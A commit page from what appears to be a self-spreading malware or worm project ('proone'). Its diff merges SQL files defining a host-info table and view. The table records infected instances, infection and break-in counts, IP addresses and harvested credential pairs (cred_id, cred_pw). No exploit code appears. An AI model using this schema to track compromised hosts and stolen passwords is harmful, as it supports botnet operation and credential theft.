aboutsummaryrefslogtreecommitdiff
path: root/src/data/sql
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-04-09 20:39:23 +1000
committerDavid Timber <mieabby@gmail.com>2021-04-09 20:39:23 +1000
commitd99b1309b1c699103c26b316a373a64f5342b905 (patch)
tree7f4b6feefb83f0d6217d4a48c5602d88f4a979a7 /src/data/sql
parent875462207d4b702c98a3ef994caef8b1c95a1d9d (diff)
Impl hostinfod, bug fix and more
* Merge /src/data/sql/hi-create.sql and /src/data/sql/hi-view.sql * Fix false failure when allocation size is zero * Add "FIXME" comment where it is not clear whether zero size is normal case. * Fix typo in /src/proone-bne.c * "proone-htbthost": always verify ALPN * Fix crash bug in `prne_htbt_dser_host_info()`
Diffstat (limited to 'src/data/sql')
-rw-r--r--src/data/sql/hi-create.sql21
-rw-r--r--src/data/sql/hi-view.sql18
2 files changed, 21 insertions, 18 deletions
diff --git a/src/data/sql/hi-create.sql b/src/data/sql/hi-create.sql
index 1887d04..b173aaa 100644
--- a/src/data/sql/hi-create.sql
+++ b/src/data/sql/hi-create.sql
@@ -17,3 +17,24 @@ CREATE TABLE `prne-hi` (
`ipaddr` binary(16) DEFAULT NULL,
PRIMARY KEY (`instance_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
+
+CREATE VIEW `prne`.`prne-hi-view` AS
+ SELECT
+ HEX(`prne`.`prne-hi`.`instance_id`) AS `HEX(instance_id)`,
+ `prne`.`prne-hi`.`inserted` AS `inserted`,
+ `prne`.`prne-hi`.`updated` AS `updated`,
+ `prne`.`prne-hi`.`parent_uptime` AS `parent_uptime`,
+ `prne`.`prne-hi`.`child_uptime` AS `child_uptime`,
+ `prne`.`prne-hi`.`bne_cnt` AS `bne_cnt`,
+ `prne`.`prne-hi`.`infect_cnt` AS `infect_cnt`,
+ `prne`.`prne-hi`.`parent_pid` AS `parent_pid`,
+ `prne`.`prne-hi`.`child_pid` AS `child_pid`,
+ HEX(`prne`.`prne-hi`.`prog_ver`) AS `HEX(prog_ver)`,
+ HEX(`prne`.`prne-hi`.`boot_id`) AS `HEX(boot_id)`,
+ `prne`.`prne-hi`.`cred_id` AS `cred_id`,
+ `prne`.`prne-hi`.`cred_pw` AS `cred_pw`,
+ `prne`.`prne-hi`.`crash_cnt` AS `crash_cnt`,
+ `prne`.`prne-hi`.`arch` AS `arch`,
+ INET6_NTOA(`prne`.`prne-hi`.`ipaddr`) AS `INET6_NTOA(ipaddr)`
+ FROM
+ `prne`.`prne-hi`;
diff --git a/src/data/sql/hi-view.sql b/src/data/sql/hi-view.sql
deleted file mode 100644
index 39886db..0000000
--- a/src/data/sql/hi-view.sql
+++ /dev/null
@@ -1,18 +0,0 @@
-SELECT
- HEX(instance_id),
- inserted,
- updated,
- parent_uptime,
- child_uptime,
- bne_cnt,
- infect_cnt,
- parent_pid,
- child_pid,
- HEX(prog_ver),
- HEX(boot_id),
- cred_id,
- cred_pw,
- crash_cnt,
- arch,
- INET6_NTOA(ipaddr)
-FROM prne.`prne-hi`;